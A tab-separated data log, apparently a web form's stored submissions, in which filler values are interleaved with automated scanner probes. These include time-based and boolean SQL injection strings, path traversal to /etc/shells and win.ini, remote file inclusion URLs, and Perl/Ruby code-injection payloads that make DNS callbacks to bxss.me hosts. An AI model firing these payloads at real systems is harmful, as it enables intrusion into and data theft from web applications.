1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU'"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1����%2527%2522\'\"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	gethostbyname(lc('hitfs'.'asifbjoycb916.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(88).chr(103).chr(71)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1'"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1E3mq0m7T' OR 136=(SELECT 136 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1) OR 157=(SELECT 157 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1*if(now()=sysdate(),sleep(15),0)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""XKrwSOqW""="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../windows/win.ini	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(select 198766*667891 from DUAL)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(select 198766*667891)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	@@nRjYW	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102ZRraH2y3')) OR 893=(SELECT 893 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1)) OR 356=(SELECT 356 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1 waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1; waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"941020""XOR(94102*if(now()=sysdate(),sleep(15),0))XOR""Z"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941020'XOR(94102*if(now()=sysdate(),sleep(15),0))XOR'Z	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'.gethostbyname(lc('hitjs'.'xqecxycf97926.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(80).chr(105).chr(87).'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102*if(now()=sysdate(),sleep(15),0)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=26 or ""llwXRXnf""="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=25 or ""llwXRXnf""="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=26 or 'EYEhjs8U'='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=25 or 'EYEhjs8U'='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	/etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1""||sleep(27*1000)*ydsilg||"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	c:/windows/win.ini	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1""&&sleep(27*1000)*ijllon&&"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'&&sleep(27*1000)*rcmzcg&&'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'""()"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	http://bxss.me/t/fit.txt%3F.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	!(()&&!|*|*|	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	bxss.me	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../etc/shells	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	/etc/shells	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	^(#$!@#$)(()))******	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'||sleep(27*1000)*nhsykt||'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU""&&sleep(27*1000)*vzpdxj&&"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""".gethostbyname(lc(""hitqf"".""wqcihdzo245ea.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(122).chr(78).chr(116).chr(79)."""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'&&sleep(27*1000)*nucmji&&'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	^(#$!@#$)(()))******	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	c:/windows/win.ini	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	/etc/shells	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	!(()&&!|*|*|	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'A'.concat(70-3).concat(22*4).concat(105).concat(67).concat(100).concat(70)+(require'socket'
Socket.gethostbyname('hitgi'+'bhsgwmop7004d.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102""||sleep(27*1000)*eojqod||"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'+'A'.concat(70-3).concat(22*4).concat(101).concat(70).concat(97).concat(65)+(require'socket'
Socket.gethostbyname('hitpu'+'ckxkqmxf53be9.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'||sleep(27*1000)*qhrgfb||'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"""+""A"".concat(70-3).concat(22*4).concat(119).concat(88).concat(110).concat(77)+(require""socket""
Socket.gethostbyname(""hitim""+""popzaqcqca150.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
